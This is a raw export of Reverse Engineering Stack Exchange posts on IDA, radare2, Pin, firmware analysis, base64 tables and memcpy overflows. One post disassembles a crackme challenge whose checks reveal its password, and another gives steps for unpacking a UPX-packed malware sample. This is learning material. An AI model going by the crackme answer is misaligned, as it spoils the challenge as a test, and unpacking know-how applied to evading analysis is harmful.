+",26176,,,,,1/2/2019 23:32,,,,1,,,,CC BY-SA 4.0 +20269,2,,20262,1/3/2019 0:56,,0,,"A compiler has to translate the language that you know (C++) to the language that the computer knows. A linker then links together your code with referenced libraries and creates an executable. In order to turn it back into a form that you can read, IDA reads the computer's language and translates it into a disassembly. Both compilation and disassembly are complicated processes. Disassembly itself is a hard problem, including function identification and boundary detection. In addition to inaccuracies in the disassembly process, the executable building process does several things.
+ +First, your source code is translated into machine code, and all modern compilers have various heuristics and rules they use to optimize the code. Take a look at the docs for gcc and the docs for Visual Studio. Sometimes this means decreasing the number of functions (for example, inlining), and sometimes it means increasing (for example, thunks).
+ +Second, either implicitly or explicitly, your source code is referencing lots of other source code, with includes, and includes within those included files, and includes within those included files... some of which cause the linker to dynamically link (add references to) libraries, and some of which cause the linker to statically link (copy and append to your code) those libraries.
+",26921,,,,,1/3/2019 0:56,,,,0,,,,CC BY-SA 4.0 +20272,1,,,1/3/2019 12:34,,0,573,"I'm trying to reverse engineer an ARM Thumb2 firmware binary, and I've come across a few oddities. Parts of the file when treated as RGB binary data form perfect images, which seems unusual for a firmware file, and when visualised by turning each byte into a greyscale pixel (0x00 as magenta for clarity) around the middle of the file there's a large section of nulls with 64 strips of data that seem to line up perfectly with a width of 404px: These strips are exactly 8x76 and appear to form pairs. Attempting to extract them and decode as raw image data resulted in garbage, and I'm at a bit of a loss as to what they are and what they're doing in a firmware binary.
The target processor for this binary is a Xilinx 7000, and the start of the binary does appear to contain FPGA data for this. The binary is at https://drive.google.com/open?id=1rmCRP_mdGLx4QQ4HurL7a3TEiXe_kHn3 and if anyone has any idea as to what those strips (or other parts of the file too, to be honest) might be, that would be amazing.
+",,user26954,,,,1/5/2019 0:15,Confused about a firmware binary,You can use the following function in order to get the local variable value by its name(IDA 7+):
+ +import idc
+import ida_frame
+import ida_struct
+
+def get_local_var_value_64(loc_var_name):
+ frame = ida_frame.get_frame(idc.here())
+ loc_var = ida_struct.get_member_by_name(frame, loc_var_name)
+ loc_var_ea = loc_var.soff + idc.GetRegValue(""RSP"")
+ # In case the variable is 32bit, use get_wide_dword() instead:
+ loc_var_value = idc.read_dbg_qword(loc_var_ea)
+ return loc_var_value
+
+",26955,,,,,1/3/2019 13:22,,,,2,,,,CC BY-SA 4.0
+20274,2,,19261,1/3/2019 15:51,,3,,"What you are asking for is called "Differential Debugging". Take a look to this tutorial to see how to do so with IDA without requiring any kind of plugins, just built-in functionality.
+",111,,111,,8/27/2020 9:17,8/27/2020 9:17,,,,2,,,,CC BY-SA 4.0 +20276,2,,14207,1/3/2019 23:34,,2,,"Here are symbol prefixes with examples, as output by the Radare2 command ""axj"" from C:\Windows\system32\gdi32.dll:
+ +The only explanation I could find is:
+ +""Flags generally have a prefix in their name, such as str., sym., sub., fcn.""
+ +Those names are called ‘flags’. Flags can be grouped into ‘flag spaces’.
+ +As suggested, ""fs"" command displays:
+ +[0x180005218]> fs
+0 247 * strings
+1 5 * symbols
+2 8 * sections
+3 0 * segments
+4 79 * relocs
+5 79 * imports
+6 2 * resources
+7 104 * functions
+
+
+More information about flags and flagspaces here: +Radare2, basic commands, flags
+",26962,,26962,,1/4/2019 8:14,1/4/2019 8:14,,,,0,,,,CC BY-SA 4.0 +20277,2,,20226,1/4/2019 0:29,,1,,"Hexrays sells a decompiler plugin for IDA Pro. If you have a supported (purchased or renewed within the last year) version of IDA Pro, then you can purchase one of the ARM decompiler plugins.
+ +I have not tried the following, but have heard of them (so add a comment about how well it works if you do try one!)...
+ +There's the opensource snowman decompiler. It has been around for a few years now. Its website says it supports ARM and is available for radare2, x64dbg, multiple versions of IDA Pro, and as a standalone application.
+ +Another opensource one is RetDec. Looks like it was just released late last year, but is from a well regarded AV company (Avast) and supposedly has been in development and use privately for several years.
+ +I've also heard of the commercial Hopper product, which specializes in macOS executables, but not sure how good the built-in decompiler is.
+",26921,,,,,1/4/2019 0:29,,,,2,,,,CC BY-SA 4.0 +20278,1,20547,,1/4/2019 9:58,,1,783,"While learning RE I have come across this large segment of instructions that contains a majority of mov [ebp+offset], value
instructions. I believe that ebp + offset
are local variables? I think? Could it really just be a lot of local variables? Or could it actually be a data structure and this is how IDA represents it? I have a theory of what this might be but if anyone knows what this could mean that would be sweet.
My guess is this is actually a data structure. ebp
is the base address of the structure. The mov
instructions between the mov [...], offset value
are padding bytes. I'm guessing they are just padding bytes since esi
doesn't contain a value (it was xor
-ed with itself at the top of the screenshot) and is mov
'd epb + offset
quite a lot in this block.
Any ideas and advice on what is happening in this screenshot would be appreciated. Thanks.
+",19294,,-1,,6/17/2020 9:54,2/4/2019 12:20,Lots of mov instructions into ebp+offset - What is happening?,A nice framework to look at is Triton which does a good job in Dynamic Symbolic Execution. I ended up looking at the code and implementing my own solution with their same approach.
+",12793,,,,,1/4/2019 14:22,,,,0,,,,CC BY-SA 4.0 +20281,2,,20278,1/4/2019 14:36,,0,,"The mov ebp, esp
sets EBP at top of stack, sub esp, 0F34h
allocates 0xF34 bytes on stack. EBP is used as a base for writing and reading the bytes. This is standard x86 stack frame you can see in many Windows executables.
It looks like the 0xF34 bytes allocates variables and various structures, perhaps also array of 20-bytes structures after reviewing it, this doesn't look right:
DWORD pointer to name
+DWORD - no idea what
+DWORD pointer to - no idea what -, can be NULL
+DWORD - no idea what -
+DWORD pointer to DWORD - no idea what -
+
+
+ESI has value of zero. The mov [...], esi
is used instead of mov [...], 0
because the latter one has longer opcode.
Don't get confused by the addition in ebp+var
. All the bytes are actually located at lower addresses, below EBP.
You can learn more about the stack frame for example here:
+ +https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames
+",4192,,,,,1/4/2019 14:36,,,,0,,,,CC BY-SA 4.0 +20282,1,,,1/4/2019 16:35,,2,338,"I have a function of the format:
+ +sub_ABCDEF(&global, ""stringName"", unimportantValue)
+
+push offset string
+mov ecx, offset global
+call sub_410010
+
+
+That is called in several places, each varying the &global and string location.
+ +I am wondering if it's possible in IDAPython to bulk rename all the &global's to the string value.
+ +I used XrefsTo(410010, 0) to obtain a list of places the function is called from, but I am unsure how to get the parameters it was called with.
+",25559,,,,,1/4/2019 16:35,IDA rename argument in all xrefs to function,I'am trying to unpack Android game archive file (.NPK).
+ +The game is ""Nvidia Glowball demo"" (it has been pre-installed on my android tablet)
+ +Archive structure seems to be simple, but I can't decompress the data.
+ +Archive structure:
+ +4 bytes - ""BE EF CA FE"" signature
+4 bytes - File headers count (little-endian)
+[File headers]
+4 bytes - ""BE EF CA FE"" signature
+[Files data]
+
+
+File header structure:
+ +4 bytes - File name length (little-endian)
+[File name]
+8 bytes - Unknown (not a checksum, signature?)
+8 bytes - File offset (little-endian)
+8 bytes - Compressed size (little-endian)
+8 bytes - Uncompressed size? (little-endian)
+
+
+File examples:
+ +initprescenecommon.txt
+ +Header (10 bytes compressed, 2 bytes uncompressed, unknown field= 1033E64E):
+ +A373h: 16 00 00 00 69 6E 69 74 70 72 65 73 63 65 6E 65 ....initprescene
+A383h: 63 6F 6D 6D 6F 6E 2E 74 78 74 10 33 E6 4E 00 00 common.txt.3.N..
+A393h: 00 00 F3 45 41 01 00 00 00 00 0A 00 00 00 00 00 ...EA...........
+A3A3h: 00 00 02 00 00 00 00 00 00 00 ..........
+
+
+Data:
+ +141:45F3h: 1A F3 84 8A 6F 6F 6A 49 62 77 ....oojIbw
+
+
+teleporter1_enter.txt
+ +Header (10 bytes compressed, 2 bytes uncompressed, unknown field= 1933E64E):
+ +A490h: 15 00 00 00 74 65 6C 65 70 6F 72 74 65 72 31 5F ....teleporter1_
+A4A0h: 65 6E 74 65 72 2E 74 78 74 19 33 E6 4E 00 00 00 enter.txt.3.N...
+A4B0h: 00 58 52 41 01 00 00 00 00 0A 00 00 00 00 00 00 .XRA............
+A4C0h: 00 02 00 00 00 00 00 00 00 .........
+
+
+Data:
+ +141:5258h: 1A F3 84 8A 6F 6F 6A 49 62 77 ....oojIbw
+
+
+grate_enter.txt
+ +Header (19 bytes compressed, 11 bytes uncompressed, unknown field= 1033E64E):
+ +A1A8h: 0F 00 00 00 67 72 61 74 65 5F 65 6E 74 65 72 2E ....grate_enter.
+A1B8h: 74 78 74 10 33 E6 4E 00 00 00 00 8E 33 41 01 00 txt.3.N.....3A..
+A1C8h: 00 00 00 13 00 00 00 00 00 00 00 0B 00 00 00 00 ................
+A1D8h: 00 00 00 ...
+
+
+Data:
+ +141:338Eh: 1A F3 94 40 25 A2 19 40 28 43 2E 8A 88 6D 6A 77 ...@%..@(C...mjw
+141:339Eh: 10 6C FA .l.
+
+
+Theese three files have compressed size bigger than uncompressed. I think this happens because theese are text files. +For example balltextures_entrance.nma file has 338 bytes compressed and 3263 bytes uncompressed.
+ +Note that initprescenecommon.txt and teleporter1_enter.txt have same data, but differ ""unknown field"".
+ +Does anyone have some ideas?
+",26971,,,,,1/4/2019 18:43,Detect compression algorithm in .NPK archive,I am doing this reverse engenering challenge. I executed theses commands to analyse the main function :
+ +radare2.exe ch15.exe
+aaa
+s main
+pdf
+
+
+This is the output of the pdf command :
+ +[0x004017b8]> pdf
+/ (fcn) main 80
+| main (int argc, char **argv, char **envp);
+| ; arg signed int arg_8h @ ebp+0x8
+| ; arg char **s @ ebp+0xc
+| ; var size_t local_4h @ esp+0x4
+| ; CALL XREF from section..text (+0x3f4)
+| 0x004017b8 55 push ebp
+| 0x004017b9 89e5 mov ebp, esp
+| 0x004017bb 83e4f0 and esp, 0xfffffff0
+| 0x004017be 83ec10 sub esp, 0x10
+| 0x004017c1 e87a0d0000 call fcn.00402540
+| 0x004017c6 837d0801 cmp dword [arg_8h], 1 ; [0x8:4]=-1 ; 1
+| ,=< 0x004017ca 7e28 jle 0x4017f4
+| | 0x004017cc 8b450c mov eax, dword [s] ; [0xc:4]=-1 ; 12
+| | 0x004017cf 83c004 add eax, 4
+| | 0x004017d2 8b00 mov eax, dword [eax]
+| | 0x004017d4 890424 mov dword [esp], eax ; const char *s
+| | 0x004017d7 e894100000 call sub.msvcrt.dll_strlen_870 ; size_t strlen(const char *s)
+| | 0x004017dc 89c2 mov edx, eax
+| | 0x004017de 8b450c mov eax, dword [s] ; [0xc:4]=-1 ; 12
+| | 0x004017e1 83c004 add eax, 4
+| | 0x004017e4 8b00 mov eax, dword [eax]
+| | 0x004017e6 89542404 mov dword [local_4h], edx
+| | 0x004017ea 890424 mov dword [esp], eax
+| | 0x004017ed e834ffffff call sub.Gratz_man_:_726 ; sub.Usage:__s_pass_700+0x26
+| ,==< 0x004017f2 eb0d jmp 0x401801
+| || ; CODE XREF from main (0x4017ca)
+| |`-> 0x004017f4 8b450c mov eax, dword [s] ; [0xc:4]=-1 ; 12
+| | 0x004017f7 8b00 mov eax, dword [eax]
+| | 0x004017f9 890424 mov dword [esp], eax
+| | 0x004017fc e8fffeffff call sub.Usage:__s_pass_700
+| | ; CODE XREF from main (0x4017f2)
+| `--> 0x00401801 b800000000 mov eax, 0
+| 0x00401806 c9 leave
+\ 0x00401807 c3 ret
+[0x004017b8]>
+
+
+I can see that a function is called named sub.Usage:__s_pass_700, probably the password. I go to this function with this command :
+ +s sub.Usage:__s_pass_700
+pdf
+
+
+The output is :
+ +[0x00401700]> pdf
+/ (fcn) sub.Usage:__s_pass_700 184
+| sub.Usage:__s_pass_700 (int arg_8h, unsigned int arg_ch);
+| ; var int local_ch @ ebp-0xc
+| ; arg int arg_8h @ ebp+0x8
+| ; arg unsigned int arg_ch @ ebp+0xc
+| ; var int local_4h @ esp+0x4
+| ; CALL XREF from main (0x4017fc)
+| 0x00401700 55 push ebp
+| 0x00401701 89e5 mov ebp, esp
+| 0x00401703 83ec18 sub esp, 0x18
+| 0x00401706 b844404000 mov eax, str.Usage:__s_pass ; 0x404044 ; ""Usage: %s pass""
+| 0x0040170b 8b5508 mov edx, dword [arg_8h] ; [0x8:4]=-1 ; 8
+| 0x0040170e 89542404 mov dword [local_4h], edx
+| 0x00401712 890424 mov dword [esp], eax ; const char *format
+| 0x00401715 e896110000 call sub.msvcrt.dll_printf_8b0 ; int printf(const char *format)
+| 0x0040171a c70424000000. mov dword [esp], 0
+| 0x00401721 e87a110000 call sub.msvcrt.dll_exit_8a0
+| ;-- sub.Gratz_man_:_726:
+| ; CALL XREF from main (0x4017ed)
+| 0x00401726 55 push ebp
+| 0x00401727 89e5 mov ebp, esp
+| 0x00401729 83ec28 sub esp, 0x28 ; '('
+| 0x0040172c c745f4000000. mov dword [local_ch], 0
+| 0x00401733 837d0c07 cmp dword [arg_ch], 7 ; [0xc:4]=-1 ; 7
+| ,=< 0x00401737 7571 jne 0x4017aa
+| | 0x00401739 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
+| | 0x0040173c 0fb600 movzx eax, byte [eax]
+| | 0x0040173f 3c53 cmp al, 0x53 ; 'S' ; 83
+| ,==< 0x00401741 7567 jne 0x4017aa
+| || 0x00401743 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
+| || 0x00401746 83c001 add eax, 1
+| || 0x00401749 0fb600 movzx eax, byte [eax]
+| || 0x0040174c 3c50 cmp al, 0x50 ; 'P' ; 80
+| ,===< 0x0040174e 755a jne 0x4017aa
+| ||| 0x00401750 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
+| ||| 0x00401753 83c002 add eax, 2
+| ||| 0x00401756 0fb600 movzx eax, byte [eax]
+| ||| 0x00401759 3c61 cmp al, 0x61 ; 'a' ; 97
+| ,====< 0x0040175b 754d jne 0x4017aa
+| |||| 0x0040175d 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
+| |||| 0x00401760 83c003 add eax, 3
+| |||| 0x00401763 0fb600 movzx eax, byte [eax]
+| |||| 0x00401766 3c43 cmp al, 0x43 ; 'C' ; 67
+| ,=====< 0x00401768 7540 jne 0x4017aa
+| ||||| 0x0040176a 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
+| ||||| 0x0040176d 83c004 add eax, 4
+| ||||| 0x00401770 0fb600 movzx eax, byte [eax]
+| ||||| 0x00401773 3c49 cmp al, 0x49 ; 'I' ; 73
+| ,======< 0x00401775 7533 jne 0x4017aa
+| |||||| 0x00401777 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
+| |||||| 0x0040177a 83c005 add eax, 5
+| |||||| 0x0040177d 0fb600 movzx eax, byte [eax]
+| |||||| 0x00401780 3c6f cmp al, 0x6f ; 'o' ; 111
+| ,=======< 0x00401782 7526 jne 0x4017aa
+| ||||||| 0x00401784 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8
+| ||||||| 0x00401787 83c006 add eax, 6
+| ||||||| 0x0040178a 0fb600 movzx eax, byte [eax]
+| ||||||| 0x0040178d 3c53 cmp al, 0x53 ; 'S' ; 83
+| ========< 0x0040178f 7519 jne 0x4017aa
+| ||||||| 0x00401791 b853404000 mov eax, str.Gratz_man_: ; 0x404053 ; ""Gratz man :)""
+| ||||||| 0x00401796 890424 mov dword [esp], eax ; const char *format
+| ||||||| 0x00401799 e812110000 call sub.msvcrt.dll_printf_8b0 ; int printf(const char *format)
+| ||||||| 0x0040179e c70424000000. mov dword [esp], 0
+| ||||||| 0x004017a5 e8f6100000 call sub.msvcrt.dll_exit_8a0
+| ||||||| ; XREFS: CODE 0x00401737 CODE 0x00401741 CODE 0x0040174e CODE 0x0040175b CODE 0x00401768
+| ||||||| ; XREFS: CODE 0x00401775 CODE 0x00401782 CODE 0x0040178f
+| ```````-> 0x004017aa c70424604040. mov dword [esp], str.Wrong_password ; [0x404060:4]=0x6e6f7257 ; ""Wrong password"" ; const char *s
+| 0x004017b1 e802110000 call sub.msvcrt.dll_puts_8b8 ; int puts(const char *s)
+| 0x004017b6 c9 leave
+\ 0x004017b7 c3 ret
+[0x00401700]>
+
+
+Now I can see that the instruction | ========< 0x0040178f 7519 jne 0x4017aa compare the password with the parameter passed as argument. +I would like now put a breakpoint on the jne instruction but I can't because the memory is unmapped. I execute the command to execute the program :
+ +ood ABadPassword
+db 0x0040178f
+dc
+
+
+The result is :
+ +[0x771ece30]> dc
+(5448) loading library at 77180000 (C:\Windows\SysWOW64\ntdll.dll) ntdll.dll
+(5448) unloading library at 000C0000 (not cached) not cached
+(5448) unloading library at 75580000 (not cached) not cached
+(5448) unloading library at 00610000 (not cached) not cached
+(5448) loading library at 75580000 (C:\Windows\SysWOW64\kernel32.dll) kernel32.dll
+(5448) loading library at 73A60000 (C:\Windows\SysWOW64\KernelBase.dll) KernelBase.dll
+(5448) loading library at 74060000 (C:\Windows\SysWOW64\msvcrt.dll) msvcrt.dll
+
+
+I don't understand why I don't hit the break point. Also, I am obligated to execute twice the dc command to see : wrong password. +My goal is to change the rip next addess.
+",26974,,,,,1/5/2019 21:18,Debug point not hit with radare2,Looking to find the meaning of this statement. From what I understand its comparing 0 with value of EBP register - 9, but I don't understand what the byte ptr
does.
After searching for the constant 'XLNX'
, it turns out this firmware file format is defined here. You're lucky because the encryption field is set to 0x0 (None).
Now the question is, what do you really want to do with this image? You only want to extract image files?
+",26176,,,,,1/5/2019 0:15,,,,0,,,,CC BY-SA 4.0 +20287,2,,20285,1/5/2019 4:46,,11,,"Let's break this down.
+ +First, we have the mnemonic: cmp
As you state, it performs a compare, though in truth it performs a subtraction (first operand minus the second) without storing the result, but still setting flags.
+ +Next, we have the first operand: byte ptr [EBP-9]
This itself needs to be broken down. EBP-9
is simple math, take the value of the EBP register and subtract nine from it. The square brackets mean to then take that result and treat it like an address to a location in memory. The byte ptr
tells you how large of a value to grab from that memory location, in this case a single byte. If it were a word ptr
, then you would dereference two bytes (in little-endian byte-order, since this is Intel architecture I think).
And the second operand is a straightforward immediate value: 0
So, all together, that instruction is saying to compare zero with the single byte at address pointed to by EBP-9
.
If your next question is ""why"", then you'll need to look at the other instructions before and maybe after that for context of where EBP is getting its value from (often, though not always, as a base pointer for the current function's stack frame). Sometimes you can tell from just looking at the the disassembly, sometimes it's easier to run it in a debugger and set a breakpoint on or before the instructions you want to inspect.
+",26921,,245,,1/6/2019 20:38,1/6/2019 20:38,,,,0,,,,CC BY-SA 4.0 +20288,2,,20258,1/5/2019 8:03,,2,,"It is probably due to the fact that you are trying to use r2
- a native disassembler/debugger to a .NET assembly which written in managed language and executed under CLR - Common Language Runtime. This line from your output gives that away
++ +.NET Version: v4.0.30319
+
How .NET works is, that before execution, there should be no user provided native code (there are some exceptions that one can force compilation to a native platform) and only an entry point is visible - which you see without debugging. After running the file - it starts from the entry point and by using a JIT
(Just-in-time compiler) compiling the IL
to native code on the platform you are running on. This might be the reason you see all those methods when you list them while debugging.
I suggest you use a decompiler/debugger suited for .NET assemblies such as dnSpy.
+",18014,,18014,,1/6/2019 20:08,1/6/2019 20:08,,,,2,,,,CC BY-SA 4.0 +20289,1,20292,,1/5/2019 8:07,,0,814,"I am modifying PIN's proccount sample to get the memory access information per function
+ + VOID Routine(RTN rtn, VOID *v)
+{
+
+ // Allocate a counter for this routine
+ RTN_COUNT * rc = new RTN_COUNT;
+ rc->_name = RTN_Name(rtn);
+ rc->_image = StripPath(IMG_Name(SEC_Img(RTN_Sec(rtn))).c_str());
+ rc->_address = RTN_Address(rtn);
+
+ rc->_next = RtnList;
+ RtnList = rc;
+
+ RTN_Open(rtn);
+fprintf(trace,""%s\n"",rc->_name.c_str());( writing functio name )
+ RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)docount, IARG_PTR, &(rc->_rtnCount), IARG_END);
+ // RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)RecordMemRead1, &(rc->_name),rc->_address, IARG_END);(this gave an error)
+ // For each instruction of the routine
+ for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins))
+ {
+
+ UINT32 memOperands = INS_MemoryOperandCount(ins);
+ // Iterate over each memory operand of the instruction.
+ for (UINT32 memOp = 0; memOp < memOperands; memOp++)
+ {
+ if (INS_MemoryOperandIsRead(ins, memOp))
+ {
+ INS_InsertPredicatedCall(
+ ins, IPOINT_BEFORE, (AFUNPTR)RecordMemRead,
+ IARG_INST_PTR,
+ IARG_MEMORYOP_EA,memOp,IARG_END); (file trace is modified here)
+
+ }
+ }
+ }
+
+ RTN_Close(rtn);
+}
+
+
+I am getting output like:
+ +dl_find_dso_for_object
+__get_cpu_features
+__libc_memalign
+malloc
+calloc
+free
+realloc
+0 0x7fcecff419dd :R 0x7fced0165e70
+0 0x7fcecff419e7 :R 0x7fced0166000
+0 0x7fcecff41a57 :R 0x7fced0165e80
+0 0x7fcecff41a57 :R 0x7fced0165e90
+0 0x7fcecff41a57 :R 0x7fced0165ea0
+0 0x7fcecff41a57 :R 0x7fced0165eb0
+0 0x7fcecff41a57 :R 0x7fced0165ec0
+
+
+I need per-function memory list like:
+ +dl_find_dso_for_object
+0 0x7fcecff419dd :R 0x7fced0165e70
+ 0 0x7fcecff419e7 :R 0x7fced0166000
+ 0 0x7fcecff41a57 :R 0x7fced0165e80
+ 0 0x7fcecff41a57 :R 0x7fced0165e90
+;;;
+malloc
+0x7fcecff41a57 :R 0x7fced0165ea0
+ 0 0x7fcecff41a57 :R 0x7fced0165eb0
+ 0 0x7fcecff41a57 :R 0x7fced0165ec0
+
+
+How can I achieve it?
+",26981,,60,,1/5/2019 16:39,1/7/2019 6:38,how to get per-function memory accesses using PIN tool,This may either be packed multiple times or contain additional obfuscations or anti-analysis. Use the ""PUSHAD, breakpoint on ESP, run"" method to find the tail transition, as you have. Then set a breakpoint on the tail transition (in your case, JMP 0002A99E) and run to that. The single-step to take the jmp and you'll be at the OEP, or the next stage of packing.
+ +One way to figure out if you have it unpacked is to dump at this point (using OllyDumpEx, for example) and load it in your typical tools (IDA, exeinfo, PEiD, etc) to see what it looks like.
+ +When I do this with your binary, I'm seeing what looks like some typical setup code, but then after the call to initterm, at 0040A7F2 there is a call using a memory address that contains zeros (hover over the dword_xxxx value to see). If you look back just a little bit, you'll see a call to a sub_xxxx that takes as an argument that dword_xxxx address. Diving into that function and the functions it calls, it looks like there is some parsing of the PE header (see cmp's with immediate values 5A4Dh and 4550h). In malware, this is typically done to find where kernel32 or other modules are in memory.
+ +In addition to that, look at the Imports and you can see that there are references to LoadLibrary and GetProcAddress. If you look for those cross-references (aka xrefs), then you'll find functions that look like they have encoded values (a bunch of xor instructions in a row with immediates), so possibly dynamically rebuilding the IAT.
+ +That's more info than you need to get past the UPX unpacking stage, but this malware has more anti-analysis techniques than just UPX packing, so you might have additional questions. The Practical Malware Analysis book has a good description of what you'll want to do next, and is generally a good reference, but feel free to start more questions on stackexchange if you want more help!
+",26921,,,,,1/5/2019 17:58,,,,0,,,,CC BY-SA 4.0 +20291,2,,20284,1/5/2019 21:18,,3,,"Your breakpoint doesn't work as it is put in the part of the code that is not executed with the pass your provided. I'll try not to give too much hint so that you can still solve it by yourself.
+ +You wrote
+ +++ +Now I can see that the instruction | ========< 0x0040178f 7519 jne 0x4017aa compare the password with the parameter passed as argument.
+
This is wrong. It doesn't not compare 'the password', it compare one of the character of the password. If you check the code there are some other instructions that are being executed and already validated your password as wrong so the line at 0x40178f
is not even reached with 'ABadPassword' passed as an argument.
You need to analyse code more carefully and see where earlier in the code the breakpoint should be put.
+ +As for your second problem
+ +++ +Also, I am obligated to execute twice the dc command to see : wrong password.
+
There might be some debug event that radare2
responds to with the break of your code execution, thus require you to decide what to do. If it's not exceptional then dc
should get execution further.
You can pass an additional argument to INS_InsertPredicatedCall
with the string name and construct a map with function names with (instruction, addr). Parse that map in PIN_AddFiniFunction
added callback. Here's a simple example. Implement your mapping in RecordMemRead
map<string, vector<pair<UINT64, UINT64>>> RtnToRead;
+
+VOID RecordMemRead(ADDRINT address, UINT64 memOp, string rname) {
+ RtnToRead[rname].pb(mp(address, memOp));
+}
+
+VOID Routine(RTN rtn, VOID *v) {
+
+ RTN_Open(rtn);
+
+ string name = RTN_Name(rtn);
+
+ for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins)) {
+
+ UINT32 memOperands = INS_MemoryOperandCount(ins);
+ for (UINT32 memOp = 0; memOp < memOperands; memOp++) {
+ if (INS_MemoryOperandIsRead(ins, memOp)) {
+ INS_InsertPredicatedCall(ins, IPOINT_BEFORE,
+ (AFUNPTR)RecordMemRead, IARG_INST_PTR,
+ IARG_MEMORYOP_EA, memOp, IARG_PTR,
+ new string(name), IARG_END);
+ }
+ }
+ }
+
+ RTN_Close(rtn);
+}
+
+VOID Fini(INT32 code, VOID *v) {
+ for (auto &rtn : RtnToRead) {
+ cout << rtn.fs << "" :"" << endl;
+ for (auto &e : rtn.second) {
+ cout << ""\t"" << hex << e.fs << "" : "" << e.sc << endl;
+ }
+ }
+}
+
+
+I have added a simple example here
+ +EDIT : I have copied code from the gist which fits your case perfectly.
+",14622,,14622,,1/7/2019 6:38,1/7/2019 6:38,,,,5,,,,CC BY-SA 4.0 +20293,1,,,1/6/2019 14:17,,2,304,"I recently got a UE Megaboom Bluetooth speaker. Apart from various audio profiles, I noticed the speaker also exposes a Serial Port BT profile. I suspect this is the channel the app uses to control the speaker’s advanced features.
+ +I have tried to connect to the port using a terminal app, using various baud rates and sending it ?<CR><LF>
and AT?<CR><LF>
, respectively—to no avail. The speaker will not return a single bit of data.
A web search on the most common terms did not return any useful information on the protocol used.
+ +Is there any information out there on the protocol used by the Megaboom? Or does anyone know of any attempts at decoding it?
+ +I now have some captured traffic from the official app. BTW, if another device is holding the serial port connection, the app will not recognize the speaker, corroborating my suspicion that SPP is the control channel.
+ +In two captures I see that initially the app sends 02 00 06
(hex) over the SPP connection, to which the speaker responds with <CR><NUL><BEL>MEGABOOM
(three control characters followed by the product name as a string).
When I connect to the speaker’s SPP and send these three characters (using moserial, sending input as hex), the speaker does not respond at all. Any ideas?
+",26989,,26989,,1/11/2019 0:24,1/11/2019 0:24,UE Megaboom serial protocol,I have a VW Radio which has the possibility to upgrade software via USB. Unfortunately I am not able to find any updates, nor any information regarding the current Software version on the whole internet. So I decided to try to dump the files directly from the unit. My question is how can I perform the dump without physically removing the EEPROM from the board. Is there any possibility to access something through the USB port?
+ +Its market name is RCD 320 on european Market and RCN 210 on Asian market. I do not know what is inside of the unit - as far as I have seen searching the internet, some VW units are using ARM processors and Linux 3.0.5, but this is everything I know so far, as there is no information about these units (neither regarding the SW, nor the HW).
+ +Any guidance would be appreciated as I am a new in this domain, but I have some electronic skills and also programming skills.
+",26993,,245,,1/9/2019 11:14,6/2/2020 15:03,How to dump firmware from car head-unit (VW Radio),I am a developer but I do not have much experience with IDA/reverse-engineering. Now I have to analyse a compiled program. +Currently I try to debug a simple wininet.dll:wininet_InternetReadFile-function and I wonder: where can I see the concrete arguments for this function while debugging?
+ +Currently I am at this point:
+ + + +I am pretty sure you can (almost) see the arguments (or at least its address) in this screenshot. But I am a beginner in reverse engineering. I don't get it/don't see it.
+ +What is the easiest/best way to get the URL that should be downloaded in this case?
+",26779,,,user12114,1/19/2019 8:54,10/16/2019 11:01,Show arguments while debugging,When a program is executed, some processes may be created by the parent process. Especially, if a program is malware, created (or forked or even injected) sub-processes will be named as a systemic process such as svchost.exe. +Is there any way to capture the PID of sub-processes in windows?
+",21812,,,,,3/13/2019 10:01,capturing the sub processes's PID of a process,How to identify in assembly base 64 encode/decode with Ida. Is there any magic constant that I can search? Or maybe a plugin that find that?
+ +FindCrypt2
Ida plugin not find that
The common base64 key contains ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
. However, remember that IDA Pro will convert ASCII text for you, so you should have no reason to go looking through the raw bytes of the file in hex. In fact, even a hex editor such as HxD or 010 Editor will convert the string data from hex bytes to chars and display them on the right side of the screen. See below an example in 010 Editor of such key:
And in IDA Pro IDA View window looking at segments:
+ + + +IDA Pro Strings window (can use Ctrl+F here):
+
Nevertheless, if you need to go looking for a constant, use the ASCII table and convert the above string into bytes manually. E.G. 'A' is 41h, 'B' is 42h, so if we were looking for AB, we'd be looking for 41 42. Don't forget to take into account the endianness of the target architecture of the software system you are working with; if the bytes are stored on disk in little endian for the file format, than the base64 key's bytes will be encoded backwards and you will need to search for it as such.
+ +One caveat here is that the aforementioned Base64 key is the standard Base64 key. You may need to search for modified Base64 keys, meaning that instead of ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
we have
+something like FGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDE
. You can see that with this modified Base64 key, we've simply rotated the key to the left 5 times so that if a decoding algorithm were to attempt to decode this as standard Base64, it would not work.
Why using memcpy
can cause to stack overFlow?
memcpy
get the number of bytes to copy, so what is the problem , and how memcpy_s
fix it?
A buffer overflow happens when a program tries to write too much data into a buffer, or other data structure. The extra data ""overflows"" the buffer writes over the data structure immediately following the buffer in memory. memcpy allows you to specify the number of bytes to copy, but if that value varies, such as when it is dependent on user input, then your destination buffer might not be big enough. + The wikipedia page has a good example.
+ +memcpy_s has an additional parameter, where you can specify the destination buffer size. This allows memcpy_s to perform additional checks on the input, and error if the number of bytes to copy is greater than the destination buffer size.
+ +For a good introduction to exploit analysis, see this course material and videos. Full disclosure: I am a contributor to that website, though not to that particular class material.
+",26921,,,,,1/8/2019 0:08,,,,0,,,,CC BY-SA 4.0 +20303,2,,20297,1/8/2019 0:24,,0,,"As mentioned by anion, you can use several graphical applications to see this information. One such application built-in to Windows is the Task Manager. Right-click on the task bar and you will see it in that menu.
+ +If you prefer command-line, you can use tasklist (again, built-in to Windows).
